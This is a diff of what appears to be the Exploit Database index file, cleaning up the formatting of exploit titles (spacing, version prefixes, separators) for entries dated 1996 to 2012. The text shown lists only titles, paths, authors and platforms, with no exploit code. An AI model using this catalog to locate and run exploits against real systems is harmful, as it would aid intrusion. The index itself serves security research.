 19372,platforms/windows/dos/19372,"Microsoft Windows NT 4.0/SP 1/SP 2/SP 3/SP 4/SP 5 Null Session Admin Name Vulnerability",1999-06-28,"J D Glaser",windows,dos,0
-19373,platforms/linux/local/19373.c,"Debian Linux 2.0/2.0 r5,FreeBSD <= 3.2,OpenBSD 2.4,RedHat Linux 5.2 i386,S.u.S.E. Linux <= 6.1  Lsof Buffer Overflow Vulnerability (1)",1999-02-17,c0nd0r,linux,local,0
+19373,platforms/linux/local/19373.c,"Debian Linux 2.0/2.0 r5,FreeBSD <= 3.2,OpenBSD 2.4,RedHat Linux 5.2 i386,S.u.S.E. Linux <= 6.1 Lsof Buffer Overflow Vulnerability (1)",1999-02-17,c0nd0r,linux,local,0
 19374,platforms/linux/local/19374.c,"Debian Linux 2.0/2.0 r5,FreeBSD <= 3.2,OpenBSD 2.4,RedHat Linux 5.2 i386,S.u.S.E. Linux <= 6.1 Lsof Buffer Overflow Vulnerability (2)",1999-02-17,Zhodiac,linux,local,0
 19376,platforms/windows/local/19376,"Microsoft IIS 2.0/3.0/4.0 ISAPI GetExtensionVersion() Vulnerability",1999-03-08,"Fabien Royer",windows,local,0
 19377,platforms/multiple/dos/19377,"Ipswitch IMail 5.0 Imapd Buffer Overflow DoS Vulnerability",1999-03-01,"Marc of eEye",multiple,dos,0
@@ -16739,9 +16739,9 @@ id,file,description,date,author,platform,type,port
 19381,platforms/php/webapps/19381.php,"SugarCRM CE <= 6.3.1 ""unserialize()"" PHP Code Execution",2012-06-23,EgiX,php,webapps,0
 19382,platforms/multiple/dos/19382,"Ipswitch IMail 5.0 Whois32 Daemon Buffer Overflow DoS Vulnerability",1999-03-01,"Marc of eEye",multiple,dos,0
 19383,platforms/multiple/remote/19383,"Qbik WinGate Standard <= 3.0.5 Log Service Directory Traversal Vulnerability",1999-02-22,eEye,multiple,remote,0
-19384,platforms/linux/local/19384.c,"Debian Linux  <= 2.1 Print Queue Control Vulnerability",1999-07-02,"Chris Leishman",linux,local,0
+19384,platforms/linux/local/19384.c,"Debian Linux <= 2.1 Print Queue Control Vulnerability",1999-07-02,"Chris Leishman",linux,local,0
 19385,platforms/windows/dos/19385.txt,"IrfanView 4.33 DJVU Image Processing Heap Overflow",2012-06-24,"Francis Provencher",windows,dos,0
-19386,platforms/php/webapps/19386.txt,"UCCASS <= v1.8.1 Blind SQL Injection Vulnerability",2012-06-24,dun,php,webapps,0
+19386,platforms/php/webapps/19386.txt,"UCCASS <= 1.8.1 - Blind SQL Injection Vulnerability",2012-06-24,dun,php,webapps,0
 19387,platforms/windows/remote/19387.rb,"Apple iTunes 10 Extended M3U Stack Buffer Overflow",2012-06-25,metasploit,windows,remote,0
 19388,platforms/windows/dos/19388.py,"Kingview Touchview 6.53 EIP Overwrite",2012-06-25,"Carlos Mario Penagos Hollmann",windows,dos,555
 19389,platforms/windows/dos/19389.txt,"Kingview Touchview 6.53 Multiple Heap Overflow Vulnerabilities",2012-06-25,"Carlos Mario Penagos Hollmann",windows,dos,0
@@ -16750,7 +16750,7 @@ id,file,description,date,author,platform,type,port
 19393,platforms/windows/dos/19393.py,"Able2Doc and Able2Doc Professional v 6.0 Memory Corruption",2012-06-25,"Carlos Mario Penagos Hollmann",windows,dos,0
 19394,platforms/asp/webapps/19394.txt,"Parodia 6.8 employer-profile.asp SQL Injection",2012-06-25,"Carlos Mario Penagos Hollmann",asp,webapps,0
 19398,platforms/php/webapps/19398.txt,"Wordpress Fancy Gallery Plugin 1.2.4 Arbitrary File Upload",2012-06-25,"Sammy FORGIT",php,webapps,0
-19400,platforms/php/webapps/19400.txt,"WordPress Website FAQ Plugin v1.0 SQL Injection",2012-06-26,"Chris Kellum",php,webapps,0
+19400,platforms/php/webapps/19400.txt,"WordPress Website FAQ Plugin 1.0 - SQL Injection",2012-06-26,"Chris Kellum",php,webapps,0
 19401,platforms/windows/local/19401.txt,"quicktime.util.QTByteObject Initialization Security Checks Bypass",2012-06-26,"Security Explorations",windows,local,0
 19402,platforms/hardware/remote/19402.txt,"Root Exploit Western Digital's WD TV Live SMP/Hub",2012-06-26,"Wolfgang Borst",hardware,remote,0
 19403,platforms/php/webapps/19403.rb,"SugarCRM <= 6.3.1 unserialize() PHP Code Execution",2012-06-26,metasploit,php,webapps,0
@@ -16758,7 +16758,7 @@ id,file,description,date,author,platform,type,port
 19407,platforms/windows/remote/19407.py,"Symantec PcAnywhere 12.5.0 Login and Password Field Buffer Overflow",2012-06-27,"S2 Crew",windows,remote,0
 19408,platforms/php/webapps/19408.txt,"Zend Framework Local File Disclosure",2012-06-27,"SEC Consult",php,webapps,0
 19409,platforms/windows/dos/19409.txt,"Sielco Sistemi Winlog 2.07.16 Multiple Vulnerabilities",2012-06-27,"Luigi Auriemma",windows,dos,0
-19410,platforms/windows/dos/19410.py,"Qbik WinGate 3.0/Pro 4.0.1/Standard 4.0.1  Buffer Overflow DoS Vulnerability",1999-02-22,Prizm,windows,dos,0
+19410,platforms/windows/dos/19410.py,"Qbik WinGate 3.0/Pro 4.0.1/Standard 4.0.1 Buffer Overflow DoS Vulnerability",1999-02-22,Prizm,windows,dos,0
 19411,platforms/bsd/local/19411,"BSDI BSD/OS 4.0,FreeBSD 3.2,NetBSD 1.4 x86,OpenBSD 2.5 UFS Secure Level 1 Vulnerability",1999-07-02,Stealth,bsd,local,0
 19412,platforms/windows/local/19412.c,"Qbik WinGate 3.0 Registry Vulnerability",1999-02-22,Chris,windows,local,0
 19413,platforms/windows/dos/19413.c,"Windows 95/98,Windows NT Enterprise Server <= 4.0 SP5,Windows NT Terminal Server <= 4.0 SP4,Windows NT Workstation <= 4.0 SP5 (1)",1999-07-03,Coolio,windows,dos,0
@@ -16771,10 +16771,10 @@ id,file,description,date,author,platform,type,port
 19420,platforms/multiple/remote/19420.c,"Caldera OpenUnix 8.0/UnixWare 7.1.1,HP HP-UX <= 11.0,Solaris <= 7.0,SunOS <= 4.1.4 rpc.cmsd Buffer Overflow Vulnerability (1)",1999-07-13,"Last Stage of Delirium",multiple,remote,0
 19421,platforms/multiple/remote/19421.c,"Caldera OpenUnix 8.0/UnixWare 7.1.1,HP HP-UX <= 11.0,Solaris <= 7.0,SunOS <= 4.1.4 rpc.cmsd Buffer Overflow Vulnerability (2)",1999-07-13,jGgM,multiple,remote,0
 19422,platforms/linux/local/19422,"BMC Software Patrol <= 3.2.5 Patrol SNMP Agent File Creation/Permission Vulnerability",1999-07-14,"Andrew Alness",linux,local,0
-19423,platforms/multiple/dos/19423.c,"BSD/OS <= 4.0,FreeBSD <= 3.2,Linux kernel <= 2.3,NetBSD <= 1.4  Shared Memory Denial of Service Vulnerability",1999-07-15,"Mike Perry",multiple,dos,0
+19423,platforms/multiple/dos/19423.c,"BSD/OS <= 4.0,FreeBSD <= 3.2,Linux kernel <= 2.3,NetBSD <= 1.4 Shared Memory Denial of Service Vulnerability",1999-07-15,"Mike Perry",multiple,dos,0
 19424,platforms/windows/remote/19424.pl,"Microsoft Data Access Components (MDAC) <= 2.1,Microsoft IIS 3.0/4.0,Microsoft Index Server 2.0,Microsoft Site Server Commerce Edition 3.0 i386 MDAC RDS Vulnerability (1)",1999-07-19,"rain forest puppy",windows,remote,0
 19425,platforms/windows/local/19425,"Microsoft Data Access Components (MDAC) <= 2.1,Microsoft IIS 3.0/4.0,Microsoft Index Server 2.0,Microsoft Site Server Commerce Edition 3.0 i386 MDAC RDS Vulnerability (2)",1999-07-19,"Wanderley J. Abreu Jr",windows,local,0
-19426,platforms/multiple/remote/19426.c,"SGI Advanced Linux Environment 3.0,SGI IRIX <= 6.5.4,SGI UNICOS <= 10.0 6  arrayd.auth Default Configuration Vulnerability",1999-07-19,"Last Stage of Delirium",multiple,remote,0
+19426,platforms/multiple/remote/19426.c,"SGI Advanced Linux Environment 3.0,SGI IRIX <= 6.5.4,SGI UNICOS <= 10.0 6 arrayd.auth Default Configuration Vulnerability",1999-07-19,"Last Stage of Delirium",multiple,remote,0
 19427,platforms/osx/local/19427,"Apple At Ease 5.0 Vulnerability",1999-05-13,"Tim Conrad",osx,local,0
 19428,platforms/linux/local/19428.c,"Samba Pre-2.0.5 Vulnerabilities",1999-07-21,"Gerald Britton",linux,local,0
 19429,platforms/linux/local/19429.sh,"Rational Software ClearCase for Unix 3.2 ClearCase SUID Vulnerability",1999-05-02,Mudge,linux,local,0
@@ -16784,7 +16784,7 @@ id,file,description,date,author,platform,type,port
 19433,platforms/windows/local/19433.rb,"Apple QuickTime TeXML Stack Buffer Overflow",2012-06-28,metasploit,windows,local,0
 19434,platforms/osx/local/19434,"Quinn ""the Eskimo"" and Peter N. Lewis Internet Config 1.0/2.0 Weak Password Encryption Vulnerability",1999-07-28,"Dawid adix Adamski",osx,local,0
 19435,platforms/windows/remote/19435.html,"Microsoft JET 3.5/3.51/4.0 VBA Shell Vulnerability",1999-07-29,BrootForce,windows,remote,0
-19436,platforms/hardware/dos/19436,"Check Point Software Firewall-1 3.0/1 4.0  Table Saturation Denial of Service Vulnerability",1999-07-29,"Lance Spitzner",hardware,dos,0
+19436,platforms/hardware/dos/19436,"Check Point Software Firewall-1 3.0/1 4.0 Table Saturation Denial of Service Vulnerability",1999-07-29,"Lance Spitzner",hardware,dos,0
 19437,platforms/osx/local/19437,"ELS Screen to Screen 1.0 Multiple Password Vulnerabilities",1999-07-29,"Prozaq of mSec",osx,local,0
 19438,platforms/osx/local/19438,"Ogopogo Autothenticate 1.1.5 Weak Password Encryption Vulnerability",1999-07-29,"Prozaq of mSec",osx,local,0
 19439,platforms/osx/local/19439,"Power On Software On Guard for MacOS 3.2 Emergency Password Vulnerability",1999-07-29,"Prozaq of mSec",osx,local,0
@@ -16807,10 +16807,10 @@ id,file,description,date,author,platform,type,port
 19457,platforms/multiple/dos/19457,"Ms Commercial Internet System 2.0/2.5,IIS 4.0,Site Server Commerce Edition 3.0 alpha/3.0 DoS",1999-08-11,"Nobuo Miwa",multiple,dos,0
 19458,platforms/linux/remote/19458.c,"Linux kernel 2.0.30/2.0.35/2.0.36/2.0.37 Blind TCP Spoofing Vulnerability",1999-07-31,Nergal,linux,remote,0
 19459,platforms/multiple/remote/19459,"Hybrid Ircd 5.0.3 p7 Buffer Overflow Vulnerability",1999-08-13,"jduck and stranjer",multiple,remote,0
-19460,platforms/multiple/local/19460.sh,"Oracle <= 8 8.1.5  Intelligent Agent Vulnerability (1)",1999-08-16,"Brock Tellier",multiple,local,0
+19460,platforms/multiple/local/19460.sh,"Oracle <= 8 8.1.5 Intelligent Agent Vulnerability (1)",1999-08-16,"Brock Tellier",multiple,local,0
 19461,platforms/multiple/local/19461.c,"Oracle <= 8 8.1.5 Intelligent Agent Vulnerability (2)",1999-08-16,"Gilles PARC",multiple,local,0
 19462,platforms/windows/local/19462.c,"Microsoft Windows 95/98 IE5/Telnet Heap Overflow Vulnerability",1999-08-16,"Jeremy Kothe",windows,local,0
-19463,platforms/linux/remote/19463.c,"S.u.S.E. Linux <= 6.2,Slackware Linux 3.2/3.6  identd Denial of Service",1999-08-16,friedolin,linux,remote,0
+19463,platforms/linux/remote/19463.c,"S.u.S.E. Linux <= 6.2,Slackware Linux 3.2/3.6 identd Denial of Service",1999-08-16,friedolin,linux,remote,0
 19464,platforms/linux/local/19464.c,"RedHat Linux <= 6.0,	Slackware Linux <= 4.0 Termcap tgetent() Buffer Overflow (1)",1999-08-18,m0f0,linux,local,0
 19465,platforms/linux/local/19465.c,"RedHat Linux <= 6.0, Slackware Linux <= 4.0 Termcap tgetent() Buffer Overflow (2)",1999-08-18,sk8,linux,local,0
 19466,platforms/multiple/remote/19466,"Hughes Technologies Mini SQL (mSQL) 2.0/2.0.10 Vulnerability",1999-08-18,"Gregory Duchemin",multiple,remote,0
@@ -16828,7 +16828,7 @@ id,file,description,date,author,platform,type,port
 19478,platforms/unix/remote/19478.c,"BSD/OS 3.1/4.0.1,FreeBSD 3.0/3.1/3.2,RedHat Linux <= 6.0 amd Buffer Overflow Vulnerability (1)",1999-08-31,Taeho,unix,remote,0
 19479,platforms/unix/remote/19479.c,"BSD/OS 3.1/4.0.1,FreeBSD 3.0/3.1/3.2,RedHat Linux <= 6.0 amd Buffer Overflow Vulnerability (2)",1999-08-30,c0nd0r,unix,remote,0
 19480,platforms/multiple/local/19480.c,"ISC INN <= 2.2,RedHat Linux <= 6.0 inews Buffer Overflow Vulnerability",1999-09-02,bawd,multiple,local,0
-19481,platforms/php/webapps/19481.txt,"WordPress Paid Business Listings v1.0.2 Blind SQL Injection",2012-06-30,"Chris Kellum",php,webapps,0
+19481,platforms/php/webapps/19481.txt,"WordPress Paid Business Listings 1.0.2 - Blind SQL Injection",2012-06-30,"Chris Kellum",php,webapps,0
 19482,platforms/multiple/dos/19482.txt,"GIMP 2.8.0 FIT File Format DoS",2012-06-30,"Joseph Sheridan",multiple,dos,0
 19483,platforms/windows/dos/19483.txt,"IrfanView JLS Formats PlugIn Heap Overflow",2012-06-30,"Joseph Sheridan",windows,dos,0
 19484,platforms/windows/remote/19484.rb,"HP Data Protector Create New Folder Buffer Overflow",2012-07-01,metasploit,windows,remote,3817
@@ -16865,10 +16865,10 @@ id,file,description,date,author,platform,type,port
 19515,platforms/windows/remote/19515.txt,"MS IE 4.0 for Windows 95/Windows NT 4 Setupctl ActiveX Control Buffer Overflow",1999-09-27,"Shane Hird",windows,remote,0
 19516,platforms/windows/local/19516.txt,"Microsoft MSN Messenger Service 1.0 Setup BBS ActiveX Control Buffer Overflow",1999-09-27,"Shane Hird",windows,local,0
 19517,platforms/linux/local/19517.pl,"Emesene 2.12.5 Password Disclosure",2012-07-01,"Daniel Godoy",linux,local,0
-19519,platforms/windows/local/19519.rb,"Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow",2012-07-01,metasploit,windows,local,0
+19519,platforms/windows/local/19519.rb,"Irfanview JPEG2000 <= 4.3.2.0 - jp2 Stack Buffer Overflow",2012-07-01,metasploit,windows,local,0
 19520,platforms/bsd/remote/19520.txt,"BSD telnetd Remote Root Exploit",2012-07-01,Kingcope,bsd,remote,0
 19521,platforms/windows/remote/19521.txt,"MS IE 5.0/4.0.1 hhopen OLE Control Buffer Overflow Vulnerability",1999-09-27,"Shane Hird",windows,remote,0
-19522,platforms/linux/remote/19522.txt,"Linux kernel 2.2  Predictable TCP Initial Sequence Number Vulnerability",1999-09-27,"Stealth and S. Krahmer",linux,remote,0
+19522,platforms/linux/remote/19522.txt,"Linux kernel 2.2 Predictable TCP Initial Sequence Number Vulnerability",1999-09-27,"Stealth and S. Krahmer",linux,remote,0
 19523,platforms/linux/local/19523.txt,"python-wrapper Untrusted Search Path/Code Execution Vulnerability",2012-07-02,ShadowHatesYou,linux,local,0
 19524,platforms/php/webapps/19524.txt,"WordPress Backup Plugin 2.0.1 Information Disclosure",2012-07-02,"Stephan Knauss",php,webapps,0
 19525,platforms/windows/webapps/19525.txt,"IIS Short File/Folder Name Disclosure",2012-07-02,"Soroush Dalili",windows,webapps,0
@@ -16880,7 +16880,7 @@ id,file,description,date,author,platform,type,port
 19532,platforms/aix/remote/19532.pl,"IBM AIX <= 4.3.2 ftpd Remote Buffer Overflow",1999-09-28,Gerrie,aix,remote,0
 19533,platforms/solaris/local/19533.c,"Solaris <= 7.0 ufsdump Local Buffer Overflow Vulnerability (1)",1998-04-23,smm,solaris,local,0
 19534,platforms/solaris/local/19534.c,"Solaris <= 7.0 ufsdump Local Buffer Overflow Vulnerability (2)",1998-12-30,"Cheez Whiz",solaris,local,0
-19535,platforms/hp-ux/local/19535.pl,"HP-UX <= 10.20  newgrp Vulnerability",1996-12-01,SOD,hp-ux,local,0
+19535,platforms/hp-ux/local/19535.pl,"HP-UX <= 10.20 newgrp Vulnerability",1996-12-01,SOD,hp-ux,local,0
 19536,platforms/multiple/dos/19536.txt,"Apache <= 1.1,NCSA httpd <= 1.5.2,Netscape Server 1.12/1.1/2.0 a nph-test-cgi Vulnerability",1996-12-10,"Josh Richards",multiple,dos,0
 19537,platforms/windows/remote/19537.txt,"TeamShare TeamTrack 3.0 Directory Traversal Vulnerability",1999-10-02,"rain forest puppy",windows,remote,0
 19538,platforms/hardware/remote/19538.txt,"Hybrid Networks Cable Broadband Access System 1.0 Remote Configuration Vulnerability",1999-10-05,KSR[T],hardware,remote,0
@@ -16908,9 +16908,9 @@ id,file,description,date,author,platform,type,port
 19560,platforms/multiple/remote/19560.c,"Washington University wu-ftpd 2.5 .0 message Buffer Overflow Vulnerability",1999-10-19,typo/teso,multiple,remote,0
 19561,platforms/windows/remote/19561.c,"True North Software Internet Anywhere Mail Server 2.3.x Mail Server Multiple Buffer Overflow",1999-10-01,"Arne Vidstrom",windows,remote,0
 19562,platforms/windows/dos/19562.pl,"MediaHouse Software Statistics Server 4.28/5.1 ""Server ID"" Buffer Overflow Vulnerability",1999-09-30,"Per Bergehed",windows,dos,0
-19563,platforms/windows/dos/19563.txt,"Photodex ProShow Producer v5.0.3256 Buffer Overflow",2012-07-03,"Julien Ahrens",windows,dos,0
+19563,platforms/windows/dos/19563.txt,"Photodex ProShow Producer 5.0.3256 - Buffer Overflow",2012-07-03,"Julien Ahrens",windows,dos,0
 19564,platforms/bsd/dos/19564.c,"Axent Raptor 6.0 Denial of Service Vulnerability",1999-10-21,MSG.Net,bsd,dos,0
-19565,platforms/linux/local/19565.sh,"S.u.S.E. Linux 6.1/6.2  cwdtools Vulnerabilities",1999-10-22,"Brock Tellier",linux,local,0
+19565,platforms/linux/local/19565.sh,"S.u.S.E. Linux 6.1/6.2 cwdtools Vulnerabilities",1999-10-22,"Brock Tellier",linux,local,0
 19566,platforms/windows/remote/19566.c,"Omnicron OmniHTTPD 1.1/2.4 Pro Buffer Overflow Vulnerability",1999-10-22,UNYUN,windows,remote,0
 19567,platforms/linux/remote/19567.txt,"National Science Foundation Squid Web Proxy 1.0/1.1/2.1 Authentication Failure",1999-10-25,"Oezguer Kesim",linux,remote,0
 19568,platforms/windows/remote/19568.txt,"Pacific Software URL Live! 1.0 Directory Traversal Vulnerability",1999-10-28,UNYUN,windows,remote,0
@@ -16941,9 +16941,9 @@ id,file,description,date,author,platform,type,port
 19594,platforms/windows/local/19594.txt,"MS Windows NT 4.0/SP1/SP2/SP3/SP4/SP5/SP6 Spoolss.exe DLL Insertion Vulnerability",1999-11-04,"Marc of eEye",windows,local,0
 19595,platforms/windows/remote/19595.c,"Computer Software Manufaktur Alibaba 2.0 Multiple CGI Vulnerabilties",1999-11-03,Kerb,windows,remote,0
 19596,platforms/windows/remote/19596.txt,"Byte Fusion BFTelnet 1.1 Long Username DoS Vulnerability",1999-11-03,"Ussr Labs",windows,remote,0
-19597,platforms/php/webapps/19597.txt,"GuestBook Scripts PHP v1.5 - Multiple Vulnerabilities",2012-07-05,Vulnerability-Lab,php,webapps,0
-19598,platforms/php/webapps/19598.txt,"Freeside SelfService CGI|API 2.3.3 - Multiple Vulnerabilities",2012-07-05,Vulnerability-Lab,php,webapps,0
-19600,platforms/php/webapps/19600.txt,"CLscript CMS v3.0 Multiple Vulnerabilities",2012-07-05,Vulnerability-Lab,php,webapps,0
+19597,platforms/php/webapps/19597.txt,"GuestBook Scripts PHP 1.5 - Multiple Vulnerabilities",2012-07-05,Vulnerability-Lab,php,webapps,0
+19598,platforms/php/webapps/19598.txt,"Freeside SelfService CGI/API 2.3.3 - Multiple Vulnerabilities",2012-07-05,Vulnerability-Lab,php,webapps,0
+19600,platforms/php/webapps/19600.txt,"CLscript CMS 3.0 - Multiple Vulnerabilities",2012-07-05,Vulnerability-Lab,php,webapps,0
 19601,platforms/windows/remote/19601.txt,"Etype Eserv 2.50 Directory Traversal Vulnerability",1999-11-04,"Ussr Labs",windows,remote,0
 19602,platforms/linux/local/19602.c,"Eric Allman Sendmail 8.8 .x Socket Hijack Vulnerability",1999-11-05,"Michal Zalewski",linux,local,0
 19603,platforms/windows/remote/19603.txt,"MS IE 4.x/5.0,Outlook 2000 0/98 0/Express 4.x ActiveX CAB File Execution",1999-11-08,Mukund,windows,remote,0
@@ -16953,7 +16953,7 @@ id,file,description,date,author,platform,type,port
 19609,platforms/freebsd/local/19609.txt,"Muhammad M. Saggaf Seyon 2.14 b Relative Path Vulnerability",1999-11-08,"Shawn Hillis",freebsd,local,0
 19610,platforms/windows/local/19610.c,"Irfan Skiljan IrfanView32 3.0.7 Image File Buffer Overflow Vulnerability",1999-11-09,UNYUN,windows,local,0
 19611,platforms/windows/remote/19611.txt,"TransSoft Broker FTP Server 3.0 x/4.0 User Name Buffer Overflow Vulnerability",1999-11-08,"Ussr Labs",windows,remote,0
-19612,platforms/windows/remote/19612.pl,"Trend Micro InterScan VirusWall 3.2.3/3.3  Long HELO Buffer Overflow Vulnerability (1)",1999-11-07,"Alain Thivillon & Stephane Aubert",windows,remote,0
+19612,platforms/windows/remote/19612.pl,"Trend Micro InterScan VirusWall 3.2.3/3.3 Long HELO Buffer Overflow Vulnerability (1)",1999-11-07,"Alain Thivillon & Stephane Aubert",windows,remote,0
 19613,platforms/windows/remote/19613.rb,"Poison Ivy 2.3.2 C&C Server Buffer Overflow",2012-07-06,metasploit,windows,remote,3460
 19614,platforms/windows/remote/19614.asm,"Trend Micro InterScan VirusWall 3.2.3/3.3 Long HELO Buffer Overflow Vulnerability (2)",1999-11-07,"dark spyrit",windows,remote,0
 19615,platforms/unix/remote/19615.c,"ISC BIND <= 8.2.2,IRIX <= 6.5.17,Solaris 7.0 (NXT Overflow & Denial of Service) Vulnerabilities",1999-11-10,"ADM Crew",unix,remote,0
@@ -16968,7 +16968,7 @@ id,file,description,date,author,platform,type,port
 19624,platforms/windows/dos/19624.txt,"Gene6 G6 FTP Server 2.0 Buffer Overflow DoS Vulnerability",1999-11-17,"Ussr Labs",windows,dos,0
 19625,platforms/windows/remote/19625.py,"ALLMediaServer 0.8 SEH Overflow Exploit",2012-07-06,"motaz reda",windows,remote,888
 19626,platforms/php/webapps/19626.txt,"sflog! <= 1.00 Multiple Vulnerabilities",2012-07-06,dun,php,webapps,0
-19628,platforms/php/webapps/19628.txt,"Event Script PHP v1.1 CMS Multiple Vulnerabilities",2012-07-06,Vulnerability-Lab,php,webapps,0
+19628,platforms/php/webapps/19628.txt,"Event Script PHP 1.1 CMS - Multiple Vulnerabilities",2012-07-06,Vulnerability-Lab,php,webapps,0
 19629,platforms/php/webapps/19629.txt,"Webmatic 3.1.1 Blind SQL Injection",2012-07-06,"High-Tech Bridge SA",php,webapps,0
 19630,platforms/php/webapps/19630.rb,"Tiki Wiki <= 8.3 unserialize() PHP Code Execution",2012-07-09,metasploit,php,webapps,0
 19631,platforms/php/webapps/19631.rb,"Basilic 1.5.14 diff.php Arbitrary Command Execution",2012-07-09,metasploit,php,webapps,0
@@ -17002,12 +17002,12 @@ id,file,description,date,author,platform,type,port
 19659,platforms/sco/local/19659.sh,"SCO Unixware 7.0/7.0.1/7.1/7.1.1 'coredump' Symlink Vulnerability",1999-12-03,"Brock Tellier",sco,local,0
 19660,platforms/sco/local/19660.c,"SCO Unixware 7.1 pkgcat Buffer Overflow",1999-12-06,"Brock Tellier",sco,local,0
 19661,platforms/sco/local/19661.c,"SCO Unixware 7.1 pkginstall Buffer Overflow",1999-12-06,"Brock Tellier",sco,local,0
-19662,platforms/windows/remote/19662.txt,"Internet Explorer 4.1/5.0/4.0.1  Subframe Spoofing Vulnerability",1999-11-30,"Georgi Guninski",windows,remote,0
+19662,platforms/windows/remote/19662.txt,"Internet Explorer 4.1/5.0/4.0.1 Subframe Spoofing Vulnerability",1999-11-30,"Georgi Guninski",windows,remote,0
 19663,platforms/solaris/remote/19663.c,"Solaris 2.3/2.4/2.5/2.5.1/2.6/7.0 snoop (print_domain_name) Buffer Overflow Vulnerability",1999-12-07,k2,solaris,remote,0
 19664,platforms/windows/remote/19664.txt,"Cat Soft Serv-U 2.5 a Server SITE PASS DoS Vulnerability",1999-12-02,"Ussr Labs",windows,remote,0
 19665,platforms/windows/local/19665.txt,"Internet Explorer 5.0 vnd.ms.radio URL Vulnerability",1999-12-06,"Jeremy Kothe",windows,local,0
 19666,platforms/windows/dos/19666.txt,"GoodTech Telnet Server NT 2.2.1 DoS Vulnerability",1999-12-06,"Ussr Labs",windows,dos,0
-19667,platforms/multiple/remote/19667.c,"WolfPack Development XSHIPWARS 1.0/1.2.4  Buffer Overflow Vulnerability",1999-12-09,"Amanda Woodward",multiple,remote,0
+19667,platforms/multiple/remote/19667.c,"WolfPack Development XSHIPWARS 1.0/1.2.4 Buffer Overflow Vulnerability",1999-12-09,"Amanda Woodward",multiple,remote,0
 19668,platforms/solaris/remote/19668.c,"Solaris 2.5/2.5.1/2.6/7.0 sadmind Buffer Overflow Vulnerability (1)",1999-06-24,"Cheez Whiz",solaris,remote,0
 19669,platforms/solaris/remote/19669.c,"Solaris 2.5/2.5.1/2.6/7.0 sadmind Buffer Overflow Vulnerability (2)",1999-06-24,"Cheez Whiz",solaris,remote,0
 19670,platforms/solaris/remote/19670.c,"Solaris 2.5/2.5.1/2.6/7.0 sadmind Buffer Overflow Vulnerability (3)",2000-11-10,"nikolai abromov",solaris,remote,0
@@ -17055,7 +17055,7 @@ id,file,description,date,author,platform,type,port
 19712,platforms/multiple/remote/19712.txt,"Allaire ColdFusion Server 4.0/4.0.1 CFCACHE Vulnerability",2000-01-04,Anonymous,multiple,remote,0
 19713,platforms/cgi/remote/19713.pl,"Solution Scripts Home Free 1.0 search.cgi Directory Traversal Vulnerability",2000-01-03,"k0ad k1d",cgi,remote,0
 19714,platforms/php/webapps/19714.txt,"Netsweeper WebAdmin Portal Multiple Vulnerabilities",2012-07-10,"Jacob Holcomb",php,webapps,0
-19715,platforms/php/webapps/19715.txt,"WordPress WP-Predict Plugin v1.0 Blind SQL Injection",2012-07-10,"Chris Kellum",php,webapps,0
+19715,platforms/php/webapps/19715.txt,"WordPress WP-Predict Plugin 1.0 - Blind SQL Injection",2012-07-10,"Chris Kellum",php,webapps,0
 19716,platforms/windows/dos/19716.txt,"Checkpoint Abra Multiple Vulnerabilities",2012-07-10,"Andrey Komarov",windows,dos,0
 19717,platforms/java/remote/19717.rb,"Java Applet Field Bytecode Verifier Cache Remote Code Execution",2012-07-11,metasploit,java,remote,0
 19718,platforms/windows/remote/19718.rb,"AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution",2012-07-11,metasploit,windows,remote,0
@@ -17066,7 +17066,7 @@ id,file,description,date,author,platform,type,port
 19723,platforms/linux/local/19723.txt,"Corel Linux OS 1.0 get_it PATH Vulnerability",2000-01-12,"Cesar Tascon Alvarez",linux,local,0
 19724,platforms/windows/remote/19724.txt,"Mirabilis ICQ 0.99 b 1.1.1.1/3.19 Remote Buffer Overflow Vulnerability",2000-01-12,"Drew Copley",windows,remote,0
 19725,platforms/windows/dos/19725.txt,"Nosque Workshop MsgCore 1.9 Denial of Service Vulnerability",2000-01-13,"Ussr Labs",windows,dos,0
-19726,platforms/bsd/local/19726.c,"FreeBSD <= 3.4,NetBSD <= 1.4.1,OpenBSD <= 2.6  /proc File Sytem Vulnerability",2000-01-21,Nergal,bsd,local,0
+19726,platforms/bsd/local/19726.c,"FreeBSD <= 3.4,NetBSD <= 1.4.1,OpenBSD <= 2.6 /proc File Sytem Vulnerability",2000-01-21,Nergal,bsd,local,0
 19727,platforms/linux/local/19727.c,"Inter7 vpopmail (vchkpw) <= 3.4.11 Buffer Overflow Vulnerability",2000-01-21,k2,linux,local,0
 19728,platforms/windows/local/19728.txt,"Microsoft Systems Management Server 2.0 Default Permissions Vulnerability",1999-12-29,"Frank Monroe",windows,local,0
 19729,platforms/linux/remote/19729.c,"Qualcomm qpopper 3.0 'LIST' Buffer Overflow Vulnerability",2000-01-10,Zhodiac,linux,remote,0
@@ -17108,11 +17108,11 @@ id,file,description,date,author,platform,type,port
 19766,platforms/hardware/dos/19766.txt,"Nortel Networks Nautica Marlin Denial of Service Vulnerablility",2000-02-25,"Christophe GRENIER",hardware,dos,0
 19768,platforms/php/webapps/19768.txt,"House Style 0.1.2 => readfile() Local File Disclosure Vulnerability",2012-07-12,GoLd_M,php,webapps,0
 19769,platforms/php/webapps/19769.txt,"eCan v0.1 => Local File Disclosure Vulnerability",2012-07-12,GoLd_M,php,webapps,0
-19771,platforms/php/webapps/19771.txt,"Lc Flickr Carousel V1.0 => Local File Disclosure Vulnerability",2012-07-12,GoLd_M,php,webapps,0
-19772,platforms/windows/dos/19772.txt,"WaveSurfer 1.8.8p4 <= Memory Corruption PoC",2012-07-12,"Jean Pascal Pereira",windows,dos,0
-19774,platforms/hardware/webapps/19774.txt,"TP Link Gateway v3.12.4 Multiple Vulnerabilities",2012-07-12,Vulnerability-Lab,hardware,webapps,0
-19775,platforms/php/webapps/19775.txt,"Reserve Logic v1.2 Booking CMS Multiple Vulnerabilities",2012-07-12,Vulnerability-Lab,php,webapps,0
-19776,platforms/windows/local/19776.pl,"ZipItFast PRO v3.0 Heap Overflow Exploit",2012-07-12,b33f,windows,local,0
+19771,platforms/php/webapps/19771.txt,"Lc Flickr Carousel 1.0 => - Local File Disclosure Vulnerability",2012-07-12,GoLd_M,php,webapps,0
+19772,platforms/windows/dos/19772.txt,"WaveSurfer 1.8.8p4 - Memory Corruption PoC",2012-07-12,"Jean Pascal Pereira",windows,dos,0
+19774,platforms/hardware/webapps/19774.txt,"TP Link Gateway 3.12.4 - Multiple Vulnerabilities",2012-07-12,Vulnerability-Lab,hardware,webapps,0
+19775,platforms/php/webapps/19775.txt,"Reserve Logic 1.2 - Booking CMS Multiple Vulnerabilities",2012-07-12,Vulnerability-Lab,php,webapps,0
